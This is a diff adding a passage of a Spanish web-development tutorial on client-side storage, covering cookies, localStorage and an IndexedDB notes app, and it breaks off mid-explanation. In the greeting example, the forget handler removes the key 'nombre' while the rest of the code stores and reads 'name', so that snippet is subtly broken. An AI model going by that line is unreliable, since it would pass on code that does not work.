+ <li>Guardar datos y activos localmente para que un sitio sea más rápido (y potencialmente menos costoso) de descargar o se pueda usar sin una conexión de red.</li>
+ <li>Guardar documentos generados por aplicaciones web localmente para usarlos sin conexión</li>
+</ul>
+
+<p>A menudo, el almacenamiento de lado del cliente y de lado del servidor se utilizan juntos. Por ejemplo, puedes descargar un lote de archivos de música (quizás utilizados por un juego web o una aplicación de reproducción de música), almacenarlos dentro de una base de datos de lado del cliente y reproducirlos según sea necesario. El usuario solo tendría que descargar los archivos de música una vez; en las visitas posteriores, se recuperarían de la base de datos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Existen límites en la cantidad de datos que puedes almacenar utilizando las APIs de almacenamiento de lado del cliente (posiblemente tanto por API individual como acumulativamente); el límite exacto varía según el navegador y posiblemente según la configuración del usuario. Consulta {{web.link("/es/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria", "límites de almacenamiento del navegador y criterios de desalojo")}} para obtener más información.</p>
+</div>
+
+<h3 id="Vieja_escuela_cookies">Vieja escuela: <em>cookies</em></h3>
+
+<p>El concepto de almacenamiento de lado del cliente existe desde hace mucho tiempo. Desde los primeros días de la web, los sitios han utilizado <em>{{web.link("/es/docs/Web/HTTP/Cookies", "cookies")}}</em> para almacenar información y personalizar la experiencia del usuario en los sitios web. Son la forma más antigua de almacenamiento de lado del cliente que se usa comúnmente en la web.</p>
+
+<p>En estos días, existen mecanismos más fáciles disponibles para almacenar datos de lado del cliente, por lo tanto, no te enseñaremos cómo usar las <em>cookies</em> en este artículo. Sin embargo, esto no significa que las <em>cookies</em> sean completamente inútiles en la web moderna; todavía se usan comúnmente para almacenar datos relacionados con la personalización y el estado del usuario, p. ej. ID de sesión y fragmentos de acceso. Para obtener más información sobre las <em>cookies</em>, consulta nuestro artículo {{web.link("/es/docs/Web/HTTP/Cookies", "Uso de cookies HTTP")}}.</p>
+
+<h3 id="Nueva_escuela_almacenamiento_web_e_IndexedDB">Nueva escuela: almacenamiento web e <code>IndexedDB</code></h3>
+
+<p>Las características "más fáciles" que mencionamos anteriormente son las siguientes:</p>
+
+<ul>
+ <li>La {{web.link("/es/docs/Web/API/Web_Storage_API", "API de almacenamiento web")}} proporciona una sintaxis muy simple para almacenar y recuperar elementos de datos más pequeños que constan de un nombre y un valor correspondiente. Esto es útil cuando solo necesitas almacenar algunos datos simples, como el nombre del usuario, si está conectado, qué color usar para el fondo de la pantalla, etc.</li>
+ <li>La {{web.link("/es/docs/Web/API/IndexedDB_API", "API IndexedDB")}} proporciona al navegador un sistema de base de datos completo para almacenar datos complejos. Esto se puede usar para cosas desde conjuntos completos de registros de clientes, hasta incluso tipos de datos complejos como archivos de audio o video.</li>
+</ul>
+
+<p>Aprenderás más sobre estas APIs a continuación.</p>
+
+<h3 id="El_futuro_API_de_caché">El futuro: API de caché</h3>
+
+<p>Algunos navegadores modernos admiten la nueva API {{domxref("Cache")}}. Esta API está diseñada para almacenar respuestas HTTP a solicitudes específicas y es muy útil para hacer cosas como almacenar activos del sitio web sin conexión para que el sitio se pueda usar posteriormente sin una conexión de red. La caché generalmente se usa en combinación con la {{web.link("/es/docs/Web/API/Service_Worker_API", "API del servicio Worker")}}, aunque no necesariamente tiene que ser así.</p>
+
+<p>El uso de caché y el servicio <em>Workers</em> es un tema avanzado, y no lo cubriremos con gran detalle en este artículo, aunque mostraremos un ejemplo simple en la sección {{anch("Almacenamiento_de_activos_sin_conexion", "Almacenamiento de activos sin conexión")}} a continuación.</p>
+
+<h2 id="Almacenamiento_de_datos_simples_almacenamiento_web">Almacenamiento de datos simples: almacenamiento web</h2>
+
+<p>La {{web.link("/es/docs/Web/API/Web_Storage_API", "API de almacenamiento web")}} es muy fácil de usar: almacena pares de datos simples de nombre/valor (limitado a cadenas, números, etc.) y recupera estos valores cuando sea necesario.</p>
+
+<h3 id="Sintaxis_básica">Sintaxis básica</h3>
+
+<p>Te mostramos como:</p>
+
+<ol>
+ <li>
+  <p>Primero, ve a nuestra <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html">plantilla en blanco de almacenamiento web</a> en GitHub (abre esto en una nueva pestaña).</p>
+ </li>
+ <li>
+  <p>Abre la consola JavaScript de las herramientas de desarrollo de tu navegador.</p>
+ </li>
+ <li>
+  <p>Todos tus datos de almacenamiento web están contenidos en dos estructuras similares a objetos dentro del navegador: {{domxref("Window.sessionStorage", "sessionStorage")}} y {{domxref("Window.localStorage", "localStorage")}}. El primero conserva los datos mientras el navegador está abierto (los datos se pierden cuando se cierra el navegador) y el segundo conserva los datos incluso después de que el navegador se cierra y luego se vuelve a abrir. Usaremos el segundo en este artículo, ya que generalmente es más útil.</p>
+
+  <p>El método {{domxref("Storage.setItem()")}} te permite guardar un elemento de datos en el almacenamiento; toma dos parámetros: el nombre del elemento y su valor. Intenta escribir esto en tu consola de JavaScript (cambia el valor a tu propio nombre, si lo deseas):</p>
+
+  <pre class="brush: js notranslate">localStorage.setItem('nombre','Chris');</pre>
+ </li>
+ <li>
+  <p>El método {{domxref("Storage.getItem()")}} toma un parámetro, el nombre de un elemento de datos que deseas recuperar, y devuelve el valor del elemento. Ahora escribe estas líneas en tu consola JavaScript:</p>
+
+  <pre class="brush: js notranslate">let miNombre = localStorage.getItem('nombre');
+miNombre</pre>
+
+  <p>Al escribir en la segunda línea, deberías ver que la variable <code>miNombre</code> ahora contiene el valor del elemento de datos <code>nombre</code>.</p>
+ </li>
+ <li>
+  <p>El método {{domxref("Storage.removeItem()")}} toma un parámetro, el nombre de un elemento de datos que desea eliminar, y elimina ese elemento del almacenamiento web. Escribe las siguientes líneas en tu consola JavaScript:</p>
+
+  <pre class="brush: js notranslate">localStorage.removeItem('nombre');
+let miNombre = localStorage.getItem('nombre');
+miNombre</pre>
+
+  <p>La tercera línea ahora debería devolver <code>null</code>: el elemento <code>nombre</code> ya no existe en el almacenamiento web.</p>
+ </li>
+</ol>
+
+<h3 id="¡Los_datos_persisten!">¡Los datos persisten!</h3>
+
+<p>Una característica clave del almacenamiento web es que los datos persisten entre las cargas de la página (e incluso cuando el navegador está apagado, en el caso de <code>localStorage</code>). Veamos esto en acción.</p>
+
+<ol>
+ <li>
+  <p>Abre nuestra plantilla en blanco de almacenamiento web nuevamente, ¡pero esta vez en un navegador diferente al que tiene abierto este tutorial!; Esto hará que sea más fácil de manejar.</p>
+ </li>
+ <li>
+  <p>Escribe estas líneas en la consola JavaScript del navegador:</p>
+
+  <pre class="brush: js notranslate">localStorage.setItem('nombre','Chris');
+let miNombre = localStorage.getItem('nombre');
+miNombre</pre>
+
+  <p>Deberías ver el nombre del elemento devuelto.</p>
+ </li>
+ <li>
+  <p>Ahora cierre el navegador y ábrelo de nuevo.</p>
+ </li>
+ <li>
+  <p>Ingresa las siguientes líneas nuevamente:</p>
+
+  <pre class="brush: js notranslate">let miNombre = localStorage.getItem('nombre');
+miNombre</pre>
+
+  <p>Deberías ver que el valor aún está disponible, aunque el navegador se haya cerrado y luego se haya abierto nuevamente.</p>
+ </li>
+</ol>
+
+<h3 id="Almacenamiento_independiente_para_cada_dominio">Almacenamiento independiente para cada dominio</h3>
+
+<p>Hay un almacén de datos separado para cada dominio (cada dirección web separada cargada en el navegador). Verás que si cargas dos sitios web (por ejemplo, google.com y amazon.com) e intentas almacenar un elemento en un sitio web, no estará disponible para el otro sitio web.</p>
+
+<p>Esto tiene sentido: ¿puedes imaginar los problemas de seguridad que surgirían si los sitios web pudieran ver los datos de los demás?</p>
+
+<h3 id="Un_ejemplo_más_complicado">Un ejemplo más complicado</h3>
+
+<p>Apliquemos este conocimiento recién descubierto escribiendo un sencillo ejemplo para darte una idea de cómo se puede usar el almacenamiento web. Nuestro ejemplo te permitirá ingresar un nombre, luego de lo cual la página se actualizará para darte un saludo personalizado. Este estado también persistirá en las recargas de la página/navegador, porque el nombre se guarda en el almacenamiento web.</p>
+
+<p>Puede encontrar el HTML de ejemplo en <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a>: contiene un sitio web simple con un encabezado, contenido y pie de página, y un formulario para ingresar tu nombre.</p>
+
+<p><img alt="Ejemplo de almacenamiento" src="https://mdn.mozillademos.org/files/15735/web-storage-demo.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Construyamos el ejemplo para que puedas entender cómo funciona.</p>
+
+<ol>
+ <li>
+  <p>Primero, haz una copia local de nuestro archivo <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> en un nuevo directorio en tu computadora.</p>
+ </li>
+ <li>
+  <p>A continuación, observa cómo nuestro HTML hace referencia a un archivo JavaScript llamado <code>index.js</code> (ve la línea 40). Necesitamos crearlo y escribir nuestro código JavaScript en él. Cree un archivo <code>index.js</code> en el mismo directorio que tu archivo HTML.</p>
+ </li>
+ <li>
+  <p>Comenzaremos creando referencias a todas las características HTML que necesitamos manipular en este ejemplo; las crearemos todas como constantes, ya que estas referencias no necesitan cambiar en el ciclo de vida de la aplicación. Agrega las siguientes líneas a tu archivo JavaScript:</p>
+
+  <pre class="brush: js notranslate">// crea las constantes necesarias
+const rememberDiv = document.querySelector('.remember');
+const forgetDiv = document.querySelector('.forget');
+const form = document.querySelector('form');
+const nameInput = document.querySelector('#entername');
+const submitBtn = document.querySelector('#submitname');
+const forgetBtn = document.querySelector('#forgetname');
+
+const h1 = document.querySelector('h1');
+const personalGreeting = document.querySelector('.personal-greeting');</pre>
+ </li>
+ <li>
+  <p>A continuación, necesitamos incluir un pequeño escucha de eventos para evitar que el formulario se envíe cuando se presiona el botón de envío, ya que este no es el comportamiento que queremos. Agrega este fragmento debajo de tu código anterior:</p>
+
+  <pre class="brush: js notranslate">// Evita que el formulario se envíe cuando se presiona un botón
+form.addEventListener('submit', function(e) {
+  e.preventDefault();
+});</pre>
+ </li>
+ <li>
+  <p>Ahora necesitamos agregar un escucha de eventos, cuya función controladora se ejecutará cuando se haga clic en el botón "Saludar". Los comentarios explican en detalle qué hace cada bit, pero en esencia aquí tomamos el nombre que el usuario ingresó en el cuadro de entrada de texto y lo guardamos en el almacenamiento web usando <code>setItem()</code>, luego ejecutamos una función llamada <code>nameDisplayCheck()</code> que se encargará de actualizar el texto real del sitio web. Agrega esto al final de tu código:</p>
+
+  <pre class="brush: js notranslate">// ejecuta la función cuando se hace clic en el botón 'Saludar'
+submitBtn.addEventListener('click', function() {
+  // guarda el nombre ingresado en el almacenamiento web
+  localStorage.setItem('name', nameInput.value);
+  // ejecuta nameDisplayCheck() para ordenar la visualización del
+  // saludo personalizado y actualización de la visualización del formulario
+  nameDisplayCheck();
+});</pre>
+ </li>
+ <li>
+  <p>En este punto, también necesitamos un controlador de eventos para ejecutar una función cuando se hace clic en el botón "Olvidar"; esto solo se muestra después de hacer clic en el botón "Saludar" (los dos estados del formulario se alternan hacia adelante y hacia atrás). En esta función, eliminamos el elemento <code>name</code> del almacenamiento web usando <code>removeItem()</code>, luego ejecutamos nuevamente <code>nameDisplayCheck()</code> para actualizar la pantalla. Agrega esto al final:</p>
+
+  <pre class="brush: js notranslate">// ejecuta la función cuando se hace clic en el botón 'Olvidar'
+forgetBtn.addEventListener('click', function() {
+  // Elimina el nombre guardado del almacenamiento web
+  localStorage.removeItem('nombre');
+  // ejecuta nameDisplayCheck() para ordenar la visualización del
+  // saludo genérico nuevamente y actualiza la visualización del formulario
+  nameDisplayCheck();
+});</pre>
+ </li>
+ <li>
+  <p>Ahora es el momento de definir la propia función <code>nameDisplayCheck()</code>. Aquí verificamos si el elemento de nombre se ha guardado en el almacenamiento web utilizando <code>localStorage.getItem('name')</code> como prueba condicional. Si se ha guardado, esta llamada se evaluará como <code>true</code>; si no, será <code>false</code>. Si es <code>true</code>, mostramos un saludo personalizado, mostramos la parte "Olvidar" del formulario y ocultamos la parte "Saludar" del formulario. Si es <code>false</code>, mostramos un saludo genérico y hacemos lo contrario. Nuevamente, pon el siguiente código en la parte inferior:</p>
+
+  <pre class="brush: js notranslate">// definir la función nameDisplayCheck()
+function nameDisplayCheck() {
+  // verifica si el elemento de datos 'name' está guardado en el almacenamiento web
+  if(localStorage.getItem('name')) {
+    // Si es así, muestra un saludo personalizado
+    let name = localStorage.getItem('name');
+    h1.textContent = 'Bienvenido, ' + name;
+    personalGreeting.textContent = '¡Bienvenido a nuestro sitio web, ' + name + '! Esperamos que te diviertas mientras estés aquí.';
+    // ocultar la parte 'recordar' del formulario y mostrar la parte 'olvidar'
+    forgetDiv.style.display = 'block';
+    rememberDiv.style.display = 'none';
+  } else {
+    // si no, muestra un saludo genérico
+    h1.textContent = 'Bienvenido a nuestro sitio web ';
+    personalGreeting.textContent = 'Bienvenido a nuestro sitio web. Esperamos que se diviertas mientras estés aquí.';
+    // ocultar la parte 'olvidar' del formulario y mostrar la parte 'recordar'
+    forgetDiv.style.display = 'none';
+    rememberDiv.style.display = 'block';
+  }
+}</pre>
+ </li>
+ <li>
+  <p>Por último, pero no menos importante, debemos ejecutar la función <code>nameDisplayCheck()</code> cada vez que se carga la página. Si no hacemos esto, el saludo personalizado no persistirá en las recargas de la página. Agrega lo siguiente al final de tu código:</p>
+
+  <pre class="brush: js notranslate">document.body.onload = nameDisplayCheck;</pre>
+ </li>
+</ol>
+
+<p>Tu ejemplo está terminado, ¡bien hecho!; Todo lo que queda ahora es guardar tu código y probar tu página HTML en un navegador. Puedes ver nuestra <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html">versión finalizada en vivo aquí</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay otro ejemplo un poco más complejo para explorar en {{web.link("/es/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API", "Uso de la API de almacenamiento web")}}.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: En la línea <code>&lt;script src="index.js" defer&gt;&lt;/script&gt;</code> del código fuente de nuestra versión final, el atributo <code>defer</code> especifica que el contenido del elemento {{htmlelement("script")}} no se ejecutará hasta que la página haya terminado de cargarse.</p>
+</div>
+
+<h2 id="Almacenamiento_de_datos_complejos_—_IndexedDB">Almacenamiento de datos complejos — <code>IndexedDB</code></h2>
+
+<p>La {{web.link("/es/docs/Web/API/IndexedDB_API", "API IndexedDB")}} (a veces abreviada <em>IDB</em>) es un sistema de base de datos completo disponible en el navegador en el que puedes almacenar datos complejos relacionados, tipos de los cuales no se limitan a valores simples como cadenas o números. Puedes almacenar videos, imágenes y casi cualquier otra cosa en una instancia de <code>IndexedDB</code>.</p>
+
+<p>Sin embargo, esto tiene un costo: <code>IndexedDB</code> es mucho más complejo de usar que la API de almacenamiento web. En esta sección, solo vamos a arañar la superficie de lo que es capaz de hacer, pero te daremos lo suficiente para comenzar.</p>
+
+<h3 id="Trabajar_con_un_ejemplo_de_almacenamiento_de_notas">Trabajar con un ejemplo de almacenamiento de notas</h3>
+
+<p>Aquí, mostraremos un ejemplo que te permite almacenar notas en tu navegador y verlas y eliminarlas cuando lo desees, lo cual te permitirá crearlo tú mismo y explicar las partes más fundamentales del <em>IDB</em> a medida que avanzamos.</p>
+
+<p>La aplicación se parece a esta:</p>
+
+<p><img alt="IDB en acción" src="https://mdn.mozillademos.org/files/15744/idb-demo.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Cada nota tiene un título y un cuerpo de texto, cada uno editable individualmente. El código JavaScript que veremos a continuación tiene comentarios detallados para ayudarte a comprender lo que está sucediendo.</p>
+
+<h3 id="Primeros_pasos">Primeros pasos</h3>
+
+<ol>
+ <li>En primer lugar, haz copias locales de nuestros archivos <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html"><code>index.html</code></a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css"><code>style.css</code></a> y <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js"><code>index-start.js</code></a> en un nuevo directorio en tu máquina.</li>
+ <li>Échale un vistazo a los archivos. Verás que el HTML es bastante simple: un sitio web con encabezado y pie de página, así como un área de contenido principal que contiene un lugar para mostrar notas y un formulario para ingresar nuevas notas en la base de datos. El CSS proporciona un estilo simple para aclarar lo que está sucediendo. El archivo JavaScript contiene cinco constantes declaradas que contienen referencias al elemento {{htmlelement("ul")}} en el que se mostrarán las notas, el título y el cuerpo de elementos {{htmlelement("input")}}, el {{htmlelement("form")}} en sí mismo, y el {{htmlelement("button")}}.</li>
+ <li>Cambia el nombre de tu archivo JavaScript a <code>index.js</code>. Ahora estás listo para comenzar a agregarle código.</li>
+</ol>
+
+<h3 id="Configuración_inicial_de_la_base_de_datos">Configuración inicial de la base de datos</h3>
+
+<p>Ahora veamos lo que tenemos que hacer en primer lugar, para configurar una base de datos.</p>
+
+<ol>
+ <li>
+  <p>Debajo de las declaraciones constantes, agrega las siguientes líneas:</p>
+
+  <pre class="brush: js notranslate">// Crea una instancia de un objeto db para que almacenemos la base de datos abierta
+let db;</pre>
+
+  <p>Aquí estamos declarando una variable llamada <code>db</code>, que luego se usará para almacenar un objeto que representa nuestra base de datos. Usaremos esto en algunos lugares, por lo que hemos declarado globalmente aquí para facilitar las cosas.</p>
+ </li>
+ <li>
+  <p>A continuación, agrega lo siguiente al final de tu código:</p>
+
+  <pre class="brush: js notranslate">window.onload = function() {
+
+};</pre>
+
+  <p>Escribiremos todo nuestro subsiguiente código dentro de esta función controladora de eventos <code>window.onload</code>, llamada cuando se activa el evento {{event("load")}} de la ventana, para asegurarnos de que no intentemos usar la funcionalidad <code>IndexedDB</code> antes de que la aplicación haya terminado de cargarse por completo (podría fallar si no lo hacemos).</p>
+ </li>
+ <li>
+  <p>Dentro del controlador <code>window.onload</code>, agrega lo siguiente:</p>
+
+  <pre class="brush: js notranslate">// Abre nuestra base de datos; se crea si aún no existe
+// (ve onupgradeneeded a continuación)
+let request = window.indexedDB.open('notes_db', 1);</pre>
+
+  <p>Esta línea crea una <code>solicitud</code> para abrir la versión <code>1</code> de una base de datos llamada <code>notes_db</code>. Si esta aún no existe, se creará para ti mediante un código posterior. Verás que este patrón de solicitud se usa con mucha frecuencia en <code>IndexedDB</code>. Las operaciones de la base de datos llevan tiempo. No deseas colgar el navegador mientras esperas los resultados, por lo que las operaciones de la base de datos son {{Glossary("asíncronas")}}, lo que significa que en lugar de ocurrir de inmediato, sucederán en algún momento en el futuro, y recibirás una notificación cuando haya terminado.</p>
+
+  <p>Para manejar esto en IndexedDB, crea un objeto de solicitud (que se puede llamar como desees; lo llamamos <code>request</code>, por lo que es obvio para qué sirve). Luego, usa controladores de eventos para ejecutar código cuando la solicitud se completa, falla, etc., que verás en uso a continuación.</p>
+
+  <div class="note">
+  <p><strong>Nota</strong>: El número de versión es importante. Si deseas actualizar tu base de datos (por ejemplo, cambiando la estructura de la tabla), debes ejecutar tu código nuevamente con un número de versión aumentado, un esquema diferente especificado dentro del controlador <code>onupgradeneeded</code> (ve más abajo), etc. No cubriremos la actualización de bases de datos en este sencillo tutorial.</p>
+  </div>
+ </li>
+ <li>
+  <p>Ahora agrega los siguientes controladores de eventos justo debajo de tu adición anterior, nuevamente dentro del controlador <code>window.onload</code>:</p>
+
+  <pre class="brush: js notranslate">// un controlador de error significa que la base de datos no se abrió correctamente
+request.onerror = function() {
+  console.log('No se pudo abrir la base de datos');
+};
+
+// controlador onsuccess significa que la base de datos se abrió correctamente
+request.onsuccess = function() {
+  console.log('Base de datos abierta con éxito');
+
+  // Almacena el objeto de base de datos abierto en la variable db. Esto se usa mucho a continuación
+  db = request.result;
+
+  // Ejecute la función displayData() para mostrar las notas que ya están en la IDB
+  displayData();
+};</pre>
+
+  <p>El controlador {{domxref("IDBRequest.onerror", "request.onerror")}} se ejecutará si el sistema dice que la solicitud falló. Esto te permite responder a este problema. En nuestro sencillo ejemplo, simplemente imprimimos un mensaje en la consola de JavaScript.</p>
+
+  <p>El controlador {{domxref("IDBRequest.onsuccess", "request.onsuccess")}} por otro lado se ejecutará si la solicitud regresa con éxito, lo que significa que la base de datos se abrió correctamente. Si este es el caso, un objeto que representa la base de datos abierta pasa a estar disponible en la propiedad {{domxref("IDBRequest.result", "request.result")}}, lo que nos permite manipular la base de datos. Almacenamos esto en la variable <code>db</code> que creamos anteriormente para su uso posterior. También ejecutamos una función personalizada llamada <code>displayData()</code>, que muestra los datos en la base de datos dentro de {{HTMLElement("ul")}}. Lo ejecutamos ahora para que las notas que ya están en la base de datos se muestren tan pronto como se cargue la página. Verás esto definido más adelante.</p>
+ </li>
+ <li>
+  <p>Finalmente, en esta sección, agregaremos probablemente el controlador de eventos más importante para configurar la base de datos: {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupgradeneeded")}}. Este controlador se ejecuta si la base de datos aún no se ha configurado, o si la base de datos se abre con un número de versión mayor que la base de datos almacenada existente (al realizar una actualización). Agrega el siguiente código, debajo de tu controlador anterior:</p>
+
+  <pre class="brush: js notranslate">// Configura las tablas de la base de datos si esto aún no se ha hecho
+request.onupgradeneeded = function(e) {
+  // Toma una referencia a la base de datos abierta
+  let db = e.target.result;
+
+  // Crea un objectStore para almacenar nuestras notas (básicamente como una sola tabla)
+  // incluyendo una clave de incremento automático
+  let objectStore = db.createObjectStore('notes_os', {keyPath: 'id', autoIncrement: true});
+
+  // Define qué elementos de datos contendrá el objectStore
+  objectStore.createIndex('title', 'title', { unique: false });
+  objectStore.createIndex('body', 'body', { unique: false });
+
+  console.log('Configuración de la base de datos completa');
+};</pre>
+
+  <p>Aquí es donde definimos el esquema (estructura) de nuestra base de datos; es decir, el conjunto de columnas (o campos) que contiene. Aquí primero tomamos una referencia a la base de datos existente de la propiedad <code>result</code> del objetivo del evento (<code>e.target.result</code>), que es el objeto <code>request</code>. Esto es equivalente a la línea <code>db = request.result;</code> dentro del controlador <code>onsuccess</code>, pero aquí, debemos hacer esto por separado porque el controlador <code>onupgradeneeded</code> (si es necesario) se ejecutará antes que el controlador <code>onsuccess</code>, lo que significa que el valor <code>db</code> no estaría disponible si no hiciéramos esto.</p>
+
+  <p>Luego usamos {{domxref("IDBDatabase.createObjectStore()")}} para crear un nuevo almacén de objetos dentro de nuestra base de datos abierta llamada <code>notes_os</code>. Esto es equivalente a una sola tabla en un sistema de base de datos convencional. Le hemos dado el nombre <em>notas</em>, y también hemos especificado un campo clave <code>autoIncrement</code> llamado <code>id</code> — en cada nuevo registro se le dará automáticamente un valor incrementado — el desarrollador no lo hace No es necesario establecer esto explícitamente. Al ser la clave, el campo <code>id</code> se utilizará para identificar registros de forma única, como cuando se elimina o muestra un registro.</p>
+
+  <p>También creamos otros dos índices (campos) usando el método {{domxref("IDBObjectStore.createIndex()")}}: <code>title</code> (que contendrá un título para cada nota) y <code>body</code> (que contendrá el texto del cuerpo de la nota).</p>
+ </li>
+</ol>
+
+<p>Entonces, con este esquema de base de datos simple configurado, cuando comenzamos a agregar registros a la base de datos; cada uno se representará como un objeto siguiendo estas líneas:</p>
+
+<pre class="brush: js notranslate">{
+  title: "Compra leche",
+  body: "Necesita leche de vaca y soja",
+  id: 8
+}</pre>
+
+<h3 id="Agregar_datos_a_la_base_de_datos">Agregar datos a la base de datos</h3>
+
+<p>Ahora veamos cómo podemos agregar registros a la base de datos. Esto se hará mediante el formulario de nuestra página.</p>
+
+<p>Debajo de tu controlador de eventos anterior (pero aún dentro del controlador <code>window.onload</code>), agrega la siguiente línea, que configura un controlador <code>onsubmit</code> que ejecuta una función llamada <code>addData()</code> cuando se envía el formulario (cuando se presiona el {{htmlelement("button")}} de enviar, lo que lleva a un envío exitoso del formulario):</p>
+
+<pre class="brush: js notranslate">// Crea un controlador onsubmit para que cuando se envíe el formulario se ejecute la función addData()
+form.onsubmit = addData;</pre>
+
+<p>Ahora definamos la función <code>addData()</code>. Agrega esto debajo de tu línea anterior:</p>
+
+<pre class="brush: js notranslate">// Define la función addData()
+function addData(e) {
+  // evitar el predeterminado: no queremos que el formulario se envíe de la forma convencional
+  e.preventDefault();
+
+  // toma los valores ingresados en los campos del formulario y los almacenar en un objeto listo para ser insertado en la base de datos
+  let newItem = { title: titleInput.value, body: bodyInput.value };
+
+  // abre una transacción de base de datos de lectura/escritura, lista para agregar los datos
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+
+  // llama a un almacén de objetos que ya se ha agregado a la base de datos
+  let objectStore = transaction.objectStore('notes_os');
+
+  // Hacer una solicitud para agregar nuestro objeto newItem al almacén de objetos
+  let request = objectStore.add(newItem);
+  request.onsuccess = function() {
+    // Limpiar el formulario, listo para agregar la siguiente entrada
+    titleInput.value = '';
+    bodyInput.value = '';
+  };
+
+  // Informa sobre el éxito de la transacción completada, cuando todo esté hecho
+  transaction.oncomplete = function() {
+    console.log('Transacción completada: modificación de la base de datos finalizada.');
+
+    // actualiza la visualización de datos para mostrar el elemento recién agregado, ejecutando displayData() nuevamente.
+    displayData();
+  };
+
+  transaction.onerror = function() {
+    console.log('Transacción no abierta debido a error');
+  };
+}</pre>
+
+<p>Esto es bastante complejo; desglosándolo, podemos:</p>
+
+<ul>
+ <li>Ejecuta {{domxref("Event.preventDefault()")}} en el objeto de evento para detener el envío del formulario de la manera convencional (esto provocaría una actualización de la página y estropearía la experiencia).</li>
+ <li>Crea un objeto que represente un registro para ingresar a la base de datos, llenándolo con valores de las entradas del formulario. ten en cuenta que no tenemos que incluir explícitamente un valor de <code>id</code>; como explicamos anteriormente, esto se completa automáticamente.</li>
+ <li>Abre una transacción <code>readwrite</code> contra el almacén de objetos <code>notes_os</code> utilizando el método {{domxref("IDBDatabase.transaction()")}}. Este objeto de transacción nos permite acceder al almacén de objetos para que podamos hacerle algo, p. ej. agregar un nuevo registro.</li>
+ <li>Accede a la tienda de objetos utilizando el método {{domxref("IDBTransaction.objectStore()")}}, guardando el resultado en la variable <code>objectStore</code>.</li>
+ <li>Agrega el nuevo registro a la base de datos usando {{domxref("IDBObjectStore.add()")}}. Esto crea un objeto <code>request</code>, de la misma manera que hemos visto antes.</li>
+ <li>Agrega un grupo de controladores de eventos a <code> request</code> y a <code>transaction</code> para ejecutar código en puntos críticos del ciclo de vida. Una vez que la solicitud ha tenido éxito, borramos las entradas del formulario y estamos listos para ingresar la siguiente nota. Una vez que la transacción se ha completado, ejecutamos la función <code>displayData()</code> nuevamente para actualizar la visualización de notas en la página.</li>
+</ul>
+
+<h3 id="Visualización_de_los_datos">Visualización de los datos</h3>
+
+<p>Ya hemos hecho referencia a <code>displayData()</code> dos veces en nuestro código, por lo que probablemente sea mejor definirla. Agrega esto a tu código, debajo de la definición de función anterior:</p>
+
+<pre class="brush: js notranslate">// Define la función displayData()
+function displayData() {
+  // Aquí vaciamos el contenido del elemento de la lista cada vez que se actualiza la pantalla
+  // Si no hiciste esto, obtendrás duplicados en la lista cada vez que se agregue una nueva nota
+  while (list.firstChild) {
+    list.removeChild(list.firstChild);
+  }
+
+  // Abre el almacén de objetos y luego obtiene un cursor, que recorre todos los
+  // diferentes elementos de datos en el almacén
+  let objectStore = db.transaction('notes_os').objectStore('notes_os');
+  objectStore.openCursor().onsuccess = function(e) {
+    // Obtiene una referencia al cursor
+    let cursor = e.target.result;
+
+    // Si todavía hay otro elemento de datos para iterar, sigue ejecutando este código
+    if(cursor) {
+      // Crea un elemento de lista, h3 y p para poner cada elemento de datos dentro al mostrarlo
+      // estructura el fragmento HTML y lo anexa dentro de la lista
+      const listItem = document.createElement('li');
+      const h3 = document.createElement('h3');
+      const para = document.createElement('p');
+
+      listItem.appendChild(h3);
+      listItem.appendChild(para);
+      list.appendChild(listItem);
+
+      // Coloca los datos del cursor dentro de h3 y para
+      h3.textContent = cursor.value.title;
+      para.textContent = cursor.value.body;
+
+      // Almacena el ID del elemento de datos dentro de un atributo en listItem, para que sepamos
+      // a qué elemento corresponde. Esto será útil más adelante cuando queramos eliminar elementos.
+      listItem.setAttribute('data-note-id', cursor.value.id);
+
+      // Crea un botón y lo coloca dentro de cada listItem
+      const deleteBtn = document.createElement('button');
+      listItem.appendChild(deleteBtn);
+      deleteBtn.textContent = 'Delete';
+
+      // Establece un controlador de eventos para que cuando se hace clic en el botón, el elemento deleteItem()
+      // se ejecuta la función
+      deleteBtn.onclick = deleteItem;
+
+      // Iterar al siguiente elemento del cursor
+      cursor.continue();
+    } else {
+      // Nuevamente, si el elemento de la lista está vacío, muestra el mensaje 'No hay notas almacenadas'
+      if(!list.firstChild) {
+        const listItem = document.createElement('li');
+        listItem.textContent = 'No hay notas almacenadas.';
+        list.appendChild(listItem);
+      }
+      // si no hay más elementos de cursor para iterar, dilo
+      console.log('Se muestran todas las notas');
+    }
+  };
+}</pre>
+
+<p>De nuevo, analicemos esto:</p>
+
+<ul>
+ <li>Primero vaciamos el contenido del elemento {{htmlelement("ul")}}, antes de llenarlo con el contenido actualizado. Si no hiciera esto, terminarías con una enorme lista de contenido duplicado que se agrega con cada actualización.</li>
+ <li>A continuación, obtenemos una referencia al almacén de objetos <code>notes_os</code> usando {{domxref("IDBDatabase.transaction()")}} y {{domxref("IDBTransaction.objectStore()")}} como hicimos en <code>addData()</code>, excepto que aquí los estamos encadenando juntos en una línea.</li>
+ <li>El siguiente paso es usar el método {{domxref("IDBObjectStore.openCursor()")}} para abrir una solicitud de un cursor; esta es una construcción que se puede usar para iterar sobre los registros en un almacén de objetos. Encadenamos un controlador <code>onsuccess</code> al final de esta línea para que el código sea más conciso: cuando el cursor se devuelve correctamente, se ejecuta el controlador.</li>
+ <li>Obtenemos una referencia al propio cursor (un objeto {{domxref("IDBCursor")}}) usando let <code>cursor = e.target.result</code>.</li>
